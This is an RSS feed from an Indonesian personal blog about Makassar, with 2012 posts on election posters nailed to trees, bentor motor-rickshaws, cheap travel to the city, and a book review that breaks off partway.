<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; makassar</title>
	<atom:link href="http://daenggassing.com/tag/makassar/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Di Makassar, Pohon-Pohon Jadi Rebutan</title>
		<link>http://daenggassing.com/2012/02/di-makassar-pohon-pohon-jadi-rebutan/</link>
		<comments>http://daenggassing.com/2012/02/di-makassar-pohon-pohon-jadi-rebutan/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 06:09:51 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Baliho]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Paku]]></category>
		<category><![CDATA[Pakui]]></category>
		<category><![CDATA[pilkada]]></category>
		<category><![CDATA[Pohon]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2348</guid>
		<description><![CDATA[Menjelang Pilkada yang meski masih setahun lagi, Makassar sudah sesak oleh spanduk, baliho besar maupun kecil yang berisi wajah-wajah sok akrab yang ingin mencalonkan diri jadi pemimpin. Beberapa di antaranya dengan sangat tega menempel wajah atau jargon mereka di pohon. Dengan paku tentu saja. Di bilangan jalan utama yang bernama Jl. Andi Pangerang Petta Rani [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2349" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00056_rez.jpg"><img class="size-full wp-image-2349" title="IMG-20120113-00056_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00056_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Pohon yang jadi korban</p></div>
<blockquote>
<h3><strong>Menjelang Pilkada yang meski masih setahun lagi, Makassar sudah sesak oleh spanduk, baliho besar maupun kecil yang berisi wajah-wajah sok akrab yang ingin mencalonkan diri jadi pemimpin. Beberapa di antaranya dengan sangat tega menempel wajah atau jargon mereka di pohon. Dengan paku tentu saja.</strong></h3>
</blockquote>
<p>Di bilangan jalan utama yang bernama Jl. Andi Pangerang Petta Rani berdesakan banyak sekali baliho, poster dan spanduk yang memajang wajah-wajah penuh senyuman. Di antara wajah-wajah itu ada tulisan, kebanyakan adalah janji manis, selebihnya adalah motivasi kalau mereka bisa memberikan yang terbaik untuk kota ini.</p>
<p>&nbsp;<br />
Setiap perempatan atau pertigaan pasti penuh dengan baliho super besar yang sangat menusuk mata. Karena semua ruang untuk pamer diri sudah penuh, maka beberapa orang kemudian memilih ruang lain yang masih tersisa. Adalah pohon yang kemudian jadi korban.</p>
<div id="attachment_2350" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00057_rez.jpg"><img class="size-full wp-image-2350" title="IMG-20120113-00057_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00057_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Pohon lain yang jadi korban</p></div>
<p>Bukan hanya di seputaran jalan AP. Pettarani pohon-pohon terpilih jadi etalase untuk memasang wajah dan jargon itu, tapi di bilangan jalan lainnyapun banyak. Biasanya poster kecil seukuran 50x100cm itu dipasang di pohon-pohon dengan menggunakan paku. Jadilah pohon-pohon yang seharusnya jadi penyejuk kota dan mata itu berubah menjadi etalase wajah yang kadang malah bikin eneg.</p>
<p>&nbsp;<br />
Perlahan-lahan, wajah kota Makassar makin suram. Perempatan dan pertigaan jalan penuh dengan baliho besar, sementara pohon-pohonnya penuh dengan poster yang dipaku. Sungguh pemandangan yang sangat tidak nyaman. Orang menyebutnya sebagai polusi visual.</p>
<p>&nbsp;<br />
Beberapa waktu yang lalu kota Makassar dihebohkan dengan beberapa baliho besar yang mengusung <a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/">jargon PAKUI</a>. Sebuah jargon yang aneh dan sama sekali tidak menarik simpati. Belakangan ini di beberapa titik di kota Makassar ada baliho baru yang bisa dibilang sebagai lawan dari baliho PAKUI itu. Penyebarannya memang belum banyak dan besarannyapun tidak sebesar baliho PAKUI itu, tapi sudah cukup lumayan menarik perhatian.</p>
<div id="attachment_2351" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00075_rez.jpg"><img class="size-full wp-image-2351" title="IMG-20120206-00075_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00075_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Baliho Ambo Tang</p></div>
<p>Baliho itu bergambar seorang lelaki tua berpakaian adat warna putih lengkap dengan sarung dan kopiah khas Bugis. Di bagian atasnya bertuliskan : <strong>Ranjau Paku Di Mana-Mana !!</strong> dan bagian bawahnya ada tulisan ; <strong>Relawan Pencabut Paku.</strong> Ada juga tulisan nama <strong>H. Ambo Tang?</strong> yang merupakan nama khas Bugis meski Tang juga bisa diasosiasikan sebagai tang yang kita gunakan untuk mencabut paku.</p>
<p>&nbsp;<br />
Saya kurang tahu apakah si bapak H. Ambo Tang itu juga berniat mencalonkan diri untuk jadi walikota atau gubernur, atau hanya sebagai sindiran untuk baliho PAKUI saja ?</p>
<div id="attachment_2352" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00076_rez.jpg"><img class="size-full wp-image-2352" title="IMG-20120206-00076_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00076_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Stop Pakui Pohon</p></div>
<p>Sementara itu di bagian lain di Jl. AP Pettarani ada satu baliho kecil yang menarik perhatian saya. Sebuah baliho kecil yang mengusung jargon :<strong> STOP PAKUI POHON BOS,</strong> di bagian kanan atas ada tulisan : <strong>GERAKAN CABUT PAKU</strong> sementara di bagian bawah ada tulisan : <strong>BPP KPA SUL-SEL dan KOMITE PEMUDA PEMERHATI LINGKUNGAN.</strong></p>
<p>&nbsp;<br />
Dari data yang saya peroleh di Internet, BPP KPA Sul-Sel ini adalah sebuah perkumpulan remaja pecinta alam. Makanya terasa wajar bila mereka kemudian merasa geram dengan makin maraknya para politikus yang memanfaatkan pohon sebagai media etalase wajah mereka.</p>
<p>&nbsp;<br />
Begitulah, pohon-pohon di Makassar rupanya menjadi rebutan banyak pihak. Ada yang berebut memakunya dan memasang wajahnya ada juga yang berebut mencabut pakunya. Entah sampai kapan pohon-pohon di Makassar bisa bebas dari kepentingan politik. Tidak bisakah mereka membiarkan pohon-pohon itu tetap di sana menjalankan tugasnya sebagai penyejuk kota ?</p>
<p>&nbsp;<br />
Kami mau pohon kami kembali bersih, tanpa wajah mereka yang entah kenapa kadang bikin eneg.</p>
<div class="shr-publisher-2348"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F02%2Fdi-makassar-pohon-pohon-jadi-rebutan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/02/di-makassar-pohon-pohon-jadi-rebutan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bentor ; Kendaraan Penguji Nyali</title>
		<link>http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/</link>
		<comments>http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 03:11:13 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Bentor]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2330</guid>
		<description><![CDATA[Sekitar dua tahun belakangan ini sebuah moda transportasi baru masuk ke kota Makassar. Bukan transportasi massal memang karena maksimal hanya bisa memuat dua orang dewasa. Namanya Bentor, atau kadang disebut juga sebagai Bemor, gabungan antara becak dan motor. Saya mengenal moda transportasi ini untuk pertama kalinya sekitar tahun 2002, itupun dari cerita beberapa kawan yang [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2331" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/bentor1.jpg"><img class="size-full wp-image-2331" title="bentor1" src="http://daenggassing.com/wp-content/uploads/2012/02/bentor1.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Bentor sedang menunggu penumpang</p></div>
<blockquote>
<h3>Sekitar dua tahun belakangan ini sebuah moda transportasi baru masuk ke kota Makassar. Bukan transportasi massal memang karena maksimal hanya bisa memuat dua orang dewasa. Namanya <a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/">Bentor</a>, atau kadang disebut juga sebagai Bemor, gabungan antara becak dan motor.</h3>
</blockquote>
<p>Saya mengenal moda transportasi ini untuk pertama kalinya sekitar tahun 2002, itupun dari cerita beberapa kawan yang sedang bertugas di Gorontalo. Katanya di sana ada kendaraan umum yang merupakan perkawinan becak dan motor. Bagian depannya berbentuk becak sementara bagian belakangnya berbentuk motor. Namanya bentor.</p>
<p>Bertahun-tahun kemudian bentor kemudian masuk ke Makassar. Saya pertama melihatnya di daerah Antang. Waktu itu jumlahnya memang cuma beberapa buah, tapi lama-kelamaan kemudian bertambah banyak. Rupanya bentor masuk lebih dulu melalui kota-kota kabupaten di utara Makassar seperti Sidrap, Barru dan Pangkep.</p>
<p>Sekarang bentor sudah makin banyak. Di seputaran Makassar, khususnya di daerah pinggiran kota bagian utara dan timur, pangkalan bentor makin gampang ditemui. Perlahan-lahan bentor menyisihkan keberadaan ojek yang lebih dulu ada. Banyak tukang ojek yang terpaksa memodifikasi motor mereka dan mengawinkannya dengan becak agar menjadi bentor. Tentu saja ini jadi semacam tuntutan.</p>
<p>Makin banyak orang yang memilih <a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/">bentor</a> sebagai moda transportasi, khususnya untuk jalur yang tidak dilayani oleh transportasi umum seperti pete-pete. Keunggulan bentor adalah pada daya muatnya, karena ruang depannya berbentuk becak maka jelas bisa muat maksimal dua orang dewasa, atau satu orang dewasa plus beberapa barang yang biasanya adalah barang belanjaan. Ini jadi kelebihan bentor bila dibanding ojek.</p>
<p>Soal ongkos, bentor juga sedikit lebih mahal dari ojek. Sebagai perbandingan, dari daerah Antang ke Mall Panakkukang dengan jarak sekitar 4 KM, ongkos naik ojek paling mahal sekitar Rp. 10.000,- sedangkan dengan bentor sekitar Rp. 15.000,- . Bila bentor memuat dua orang, jelas harga ini jadi terasa murah. Orang juga banyak memilh menggunakan bentor yang ongkosnya lebih mahal dari pete-pete karena pertimbangan waktu tempuh. Bentor tidak perlu mengikuti rute khusus, persis seperti ojek.</p>
<p>Saya pernah bertanya kepada seorang supir bentor yang pernah saya tumpangi. Seorang lelaki muda dengan gaya masa kini. Rambut a la penyanyi K-Pop , kaos oblong dan celana skinny. Sayang saya lupa namanya. Dia masih baru jadi supir bentor, itupun katanya bentor yang dia bawa punya kakaknya yang kebetulan pulang ke Pangkep, sekitar 50KM sebelah utara kota Makassar.</p>
<p>Dalam sehari penghasilannya tidak menentu. Dia biasanya mangkal di jalan Boulevard, tidak jauh dari Mall Panakkukang yang jadi mall paling besar di timur kota Makassar. Bersama beberapa teman-temanya dia mangkal di sudut jalan, menunggu penumpang mulai dari pagi hingga larut malam.</p>
<h3>Bentor, masih tanpa ijin dan uji kelayakan</h3>
<p>Sayangnya sampai sekarang bentor belum dapat ijin trayek resmi dari pemerintah. Begitupula dengan uji kelayakan untuk keselamatannya. Beberapa waktu yang lalu dinas perhubungan kota Makassar pernah berniat menghapuskan bentor untuk sementara sampai uji kelayakan keluar. Rencana ini mendapat tentangan dari ratusan supir bentor yang berdemo di depan DPRD kota Makassar dan sampai sekarang rencana itu kembali mentah. Bentor masih berkeliaran dengan bebas, bahkan jumlahnya makin bertambah.</p>
<p>Belum adanya ijin dan uji kelayakan ini membuat bentor memang belum bisa dianggap sebagai sebuah kendaraan yang aman. Ini juga yang membuat bentor belum bisa masuk ke jalan-jalan protokol di kota Makassar.</p>
<p>Tidak semua orang suka naik bentor rupanya. Bentuknya yang menyerupai becak dengan kecepatan sebuah motor kadang membuat penumpang jadi tidak nyaman, seakan-akan duduk di kap sebuah mobil dan harus siap menjadi bemper kalau terjadi tabrakan. Itu belum ditambah dengan gaya menyupir yang ugal-uagalan, utamanya ketika macet. Para supir bentor kadang memaksakan bentornya untuk menerobos macet, lengkap dengan zig-zag-nya yang membuat penumpang ketar-ketir.</p>
<h3>Musik dan Alat Kampanye</h3>
<p>Suka atau tidak suka, bisnis <a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/">bentor</a> makin marak saat ini. Variasi bentorpun makin beragam. Beberapa bentor kemudian melengkapi diri dengan audio, meski kualitas suaranya memang lebih tepat disebut memekakkan telinga daripada membuat nyaman karena tentu saja tidak ada ruang yang cukup untuk memantulkan suara. Beda dengan audio yang terpasang pada mobil. Untuk pilihan lagu, biasanya berkutat antara lagu dangdut atau lagu house music, pokoknya yang terdengar meriah meski saya pernah juga mendapati sebuah bentor yang memutar <em>Soldier Of Fortune</em>-nya <em>Deep Purple.</em></p>
<p>Bentor juga ternyata bisa jadi alat kampanye. Di kawasan Borong Raya dan Antang banyak bentor yang berseliweran dengan stiker besar bertuliskan <strong>RUDAL COMMUNITY</strong>. Awalnya saya sempat bingung mencari arti dari tulisan itu. Ternyata <strong>RUDAL</strong> adalah akronim dari <strong>Rusdin Abdullah</strong>, seorang pengusaha lokal yang sedang meretas jalan menuju kursi walikota Makassar.</p>
<p>Jika anda berkunjung ke Makassar, khususnya di daerah pinggiran kota maka saya yakin anda akan menemukan banyak kendaraan yang mungkin terlihat aneh karena merupakan hasil perkawinan silang antara motor dan becak. Silakan kalau anda mau mencoba. Hanya saja memang perlu kekuatan dan keberanian lebih.</p>
<p>Karena bentor menurut saya memang kendaraan yang menguji nyali kita.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="bentor">bentor</a> (3)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="harga becak gorontalo">harga becak gorontalo</a> (3)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="komunitas tukang bentor">komunitas tukang bentor</a> (2)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="bentor makassar">bentor makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="cara membuat bentor">cara membuat bentor</a> (1)</li></ul><div class="shr-publisher-2330"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F02%2Fbentor-kendaraan-penguji-nyali%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Cara Mudah dan Murah ke Makassar</title>
		<link>http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/</link>
		<comments>http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 10:52:39 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Selasa]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[TIket Pesawat]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2324</guid>
		<description><![CDATA[Banyak teman yang bermukim di Jawa merasa kalau biaya ke Makassar sangat mahal dan kemudian merasa berat untuk datang ke ibukota Sulawesi Selatan ini. Mahal atau tidak mungkin relatif, tapi kalau mau membandingkan sesungguhnya biaya ke Makassar dari beberapa kota besar di Jawa tidak terlalu mahal. Ketika pengumuman bahwa Makassar akan jadi tuan rumah pagelaran [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2325" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Kapal-di-luar-Losari.jpg"><img class="size-full wp-image-2325" title="_Kapal di luar Losari" src="http://daenggassing.com/wp-content/uploads/2012/01/Kapal-di-luar-Losari.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Pantai Losari di Suatu Pagi</p></div>
<blockquote>
<h3>Banyak teman yang bermukim di Jawa merasa kalau biaya ke Makassar sangat mahal dan kemudian merasa berat untuk datang ke ibukota Sulawesi Selatan ini. Mahal atau tidak mungkin relatif, tapi kalau mau membandingkan sesungguhnya biaya ke Makassar dari beberapa kota besar di Jawa tidak terlalu mahal.</h3>
</blockquote>
<p>Ketika pengumuman bahwa <a href="../../../../../2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/">Makassar akan jadi tuan rumah pagelaran Kopdar Blogger Nusantara 2012</a>, hal pertama yang saya tekankan kepada teman-teman yang hadir di kantor IBN waktu itu adalah : <strong>mari mulai menabung</strong>. Yah, kali ini jalan menuju Kopdar Blogger Nusantara memang lebih panjang apalagi mengingat kalau sebagian besar konsentrasi peserta memang berasal dari pulau Jawa. Pertanyaan yang paling banyak saya terima dari teman-teman di Jawa adalah : <strong>mahalkah ongkos ke Makassar ?</strong></p>
<p>Seperti yang saya bilang di atas, soal mahal atau tidak itu relatif. Tapi anggaplah angka di bawah Rp. 1 juta rupiah itu tidak mahal, maka bisa dibilang ongkos ke Makassar termasuk murah untuk pergi dan pulangnya.</p>
<p>Ada dua kota besar di Jawa yang bisa jadi pilihan pintu gerbang untuk ke Makassar. Pertama tentu saja Jakarta dan yang kedua adalah Surabaya. Sebenarnya ada satu kota lagi yang menyediakan penerbangan langsung dari dan ke Makassar yaitu kota Jogjakarta, tapi karena pilihan penerbangannya tidak banyak maka otomatis harganya jadi lebih mahal.</p>
<p>Kita mulai dari Jakarta dulu. Untuk teman-teman yang berada di Jabodetabek atau bahkan Jawa Barat dan Banten, ke Makassar melalui Jakarta tentu jadi pilihan utama. ?Harga tiket pesawat untuk masa-masa tertentu sangat terjangkau. Barusan saya mengecek ke website Lion Air, dan mereka masih menyediakan tiket seharga <strong>Rp. 424.100,-</strong> untuk penerbangan <strong>tanggal 9 Nopember 2012</strong>.</p>
<div id="attachment_2326" class="wp-caption aligncenter" style="width: 636px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Screenshot-Studio-capture-013.jpg"><img class=" wp-image-2326" title="Screenshot Studio capture #013" src="http://daenggassing.com/wp-content/uploads/2012/01/Screenshot-Studio-capture-013.jpg" alt="" width="626" height="197" /></a><p class="wp-caption-text">Daftar Harga Lion Air</p></div>
<p>Harga itu adalah harga promo, biasanya Lion Air melepas tiket pesawat CGK-UPG dengan kisaran harga antara Rp. 600 ribu hingga Rp. 700 ribu atau pada <em>peak season</em> mencapai harga Rp. 900 ribu. Bayangkan kalau bisa dapat tiket seharga 400an ribu itu, lumayan bolak balik hanya habis Rp. 900an ribu. Tidak terlalu mahal bukan ? Kalau teman-teman mulai menabung dari sekarang, Rp. 100rb per bulan maka pas bulan Nopember nanti uangnya sudah lebih. Tapi dengan catatan, harga promosinya masih ada.</p>
<p>Sebenarnya di saat-saat tertentu maskapai lain semisal Merpati kadang memberi promosi yang cukup gila. Tahun lalu saat berulang tahun, mereka melepas tiket ke semua jurusan dengan harga yang sama. Berkisar di harga Rp. 126.000,- bersih. Tapi untuk itu kita memang harus bergantung pada keberuntungan.</p>
<p>Nah, sekarang kita ke Surabaya. Dari dan ke ibukota Jawa Timur ini saya selalu mengandalkan Citilink. Alasannya karena harganya yang kadang sangat murah, tapi sering juga harga normal ketika musim promosi berlalu. Percaya tidak percaya, saya pernah dapat tiket UPG-SUB seharga Rp. 99.000,- plus pajak dan sebagainya total hanya Rp. 180.000,-</p>
<p>Kalau cek di website mereka, maka harga yang terpasang untuk tanggal 9 Nopember 2012 masih harga normal. Berkisar antara Rp. 200an ribu hingga Rp. 300an ribu. Masa promosi Citilink tidak bisa ditebak, kadang datang tanpa diduga. Untuk maskapai lainnya, kisaran harganya sama.</p>
<p>Teman-teman yang berada di sektiar Jawa Timur, Jogja dan Jawa Tengah bisa menuju Makassar melalui Surabaya. Tinggal mencocokkan jadwal keberangkatan dengan jadwal kereta atau bis. Ini yang biasa saya lakukan ketika mudik ke Semarang atau menuju Jogja. Relatif lebih murah tapi boros di waktu daripada langsung naik pesawat dari Semarang atau Jogja misalnya.</p>
<div id="attachment_2327" class="wp-caption aligncenter" style="width: 541px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Screenshot-Studio-capture-014.jpg"><img class="size-full wp-image-2327" title="Screenshot Studio capture #014" src="http://daenggassing.com/wp-content/uploads/2012/01/Screenshot-Studio-capture-014.jpg" alt="" width="531" height="389" /></a><p class="wp-caption-text">Daftar Harga Citilink</p></div>
<p>Dari Jogja ke Makassar hanya dilayani dua maskapai, Merpati dan Express Air. Kisaran harganya antara Rp. 700an ribu hingga Rp. 900an ribu. Tapi pada saat tertentu juga memang ada promo. Saya pernah ke Jogja langsung dari Makassar dengan tiket seharga Rp. 400an ribu dan sekali waktu naik Express Air dengan harga Rp. 500an ribu.</p>
<p>Intinya memang harus rajin mengecek ke website maskapai bersangkutan, atau cara lain menjalin relasi dengan <em>travel agent</em>. Travel agent biasanya dapat diskon khusus atau promo khusus. Beberapa kali saya juga berhasil mendapatkan tiket murah karena bantuan teman-teman yang bekerja di travel agent.</p>
<p>Sebenarnya ada alternatif lain untuk ke Makassar melalui Jakarta atau Surabaya yaitu dengan menggunakan kapal laut. Tapi sepertinya cara ini tidak terlalu efektif karena boros di waktu. Jakarta-Makassar ditempuh dalam 48 jam atau dua hari sementara Surabaya-Makassar ditempuh dalam waktu 24 jam. Selain itu harganya juga tidak terlalu jauh berbeda. Terakhir saya mengecek harga tiket ekonomi dari Surabaya ke Makassar, harganya sekitar Rp. 200an ribu. Dengan selisih harga tipis dan selisih waktu yang panjang sepertinya pilihan naik pesawat jadi lebih logis.</p>
<p>Jadi, begitulah teman-teman. Mari persiapkan dana anda untuk datang ke gelaran acara Kopdar Blogger Nusantara 2012. Kalau melihat tulisan di atas teman-teman pasti setuju kalau ongkos ke Makassar tidak terlalu mahal bukan ? Lagipula sebagai tuan rumah kami pasti akan menyediakan akomodasi dan konsumsi selama rangkaian acara. Lumayan menghemat bukan ? Lagipula kami sedang menyiapkan sebuah acara yang berbeda untuk menyambut teman-teman semua di gelaran Kopdar Blogger Nusantara 2012.</p>
<p>Kami menantikan teman-teman semua.</p>
<p>&nbsp;</p>
<p>[dG]</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/" title="tiket pesawat jawa makasar">tiket pesawat jawa makasar</a> (5)</li><li><a href="http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/" title="ongkos ke makassar">ongkos ke makassar</a> (2)</li><li><a href="http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/" title="jadwal kapal surabaya makassar">jadwal kapal surabaya makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/" title="jalan menuju makassar">jalan menuju makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/" title="tarif express air mks-jogja">tarif express air mks-jogja</a> (1)</li></ul><div class="shr-publisher-2324"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fcara-mudah-dan-murah-ke-makassar%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/cara-mudah-dan-murah-ke-makassar/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Makassar Nol Kilometer ; Dari Supporter PSM Hingga Cafe di Losari</title>
		<link>http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/</link>
		<comments>http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 23:00:43 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Buku-ku]]></category>
		<category><![CDATA[Jumat]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[buku]]></category>
		<category><![CDATA[Ininnawa]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Makassar Nol Kilometer]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2294</guid>
		<description><![CDATA[Mengenal Makassar tidak hanya lewat brosur wisata atau catatan manis di situs-situs travel atau milik pemerintah saja. Makassar punya banyak cerita, dari pinggiran kota hingga ke pusat kota. Sebagian cerita itu dirangkum 14 orang warga dalam buku Makassar Nol Kilometer. Cerita ini dibuka dengan kisah para supporter setia klub sepakbola PSM. Cerita tentang bagaimana mereka [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2295" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/makassar-nol-kilometer.jpg"><img class="size-full wp-image-2295" title="makassar nol kilometer" src="http://daenggassing.com/wp-content/uploads/2012/01/makassar-nol-kilometer.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Makassar Nol Kilometer</p></div>
<blockquote>
<h3>Mengenal Makassar tidak hanya lewat brosur wisata atau catatan manis di situs-situs travel atau milik pemerintah saja. Makassar punya banyak cerita, dari pinggiran kota hingga ke pusat kota. Sebagian cerita itu dirangkum 14 orang warga dalam buku Makassar Nol Kilometer.</h3>
</blockquote>
<p>Cerita ini dibuka dengan kisah para supporter setia klub sepakbola PSM. Cerita tentang bagaimana mereka bersedia menyabung nyawa mengawal klub kesayangan mereka yang tandang ke kota-kota lain di luar Sulawesi, tentang bagaimana mereka harus berhadapan dengan amarah supporter tuan rumah yang jumlahnya berlipat ganda. Juga cerita tentang semangat mereka memerahkan stadion Mattoangin setiap kali PSM menjadi tuan rumah untuk klub tamu.</p>
<p>Cerita seperti ini mungkin sudah sering terbaca di berbagai media, utamanya media lokal. Tapi kedalaman cerita yang dipaparkan di bab : Pengawal Pasukan Ramang karya Muh. Nur Abdurrahman ini melebihi kedalaman cerita wartawan biasa.</p>
<p>Buku ini memang dibuat dengan dasar menggali kepedulian warga biasa tentang kotanya. Ragam cerita yang terangkum adalah ragam cerita tentang keseharian, tentang kehidupan warga biasa yang mungkin tidak akan bisa ditemukan di media mainstream, apalagi media mainstream lokal yang lebih banyak diisi acara seremonial pejabat dan gosip artis.</p>
<p>Simak cerita tentang penjual jajanan buroncong ( kue pancong khas Makassar ) di seputaran Tamalanrea atau tentang para payabo ( sebutan untuk para pengumpul barang bekas atau pemulung ) Kisah remeh temeh itu biasanya tidak mendapat tempat di koran lokal, atau kalaupun mendapat tempat, porsinya kecil dan nyaris tidak terlihat.</p>
<p>Buku ini dibagi dalam 4 bagian, Komunitas, Kuliner, Fenomena dan Ruang. Masing-masing memotret lebih dalam tentang kehidupan warga biasa di kota Makassar. Cara penulisannya beragam, sesuai dengan gaya dari keempatbelas penulis meski tetap punya benang merah yang sama yaitu feature yang dalam dan memikat.</p>
<p>Makassar Nol Kilometer terbitan penerbit Ininnawa ini sudah masuk cetakan kedua. Tiga orang editornya dikenal baik sebagai orang-orang yang aktif di dunia literasi kota Makassar. Mereka adalah Anwar J. Rahman, Nurhady Sirimorok dan M. Aan Mansyur.</p>
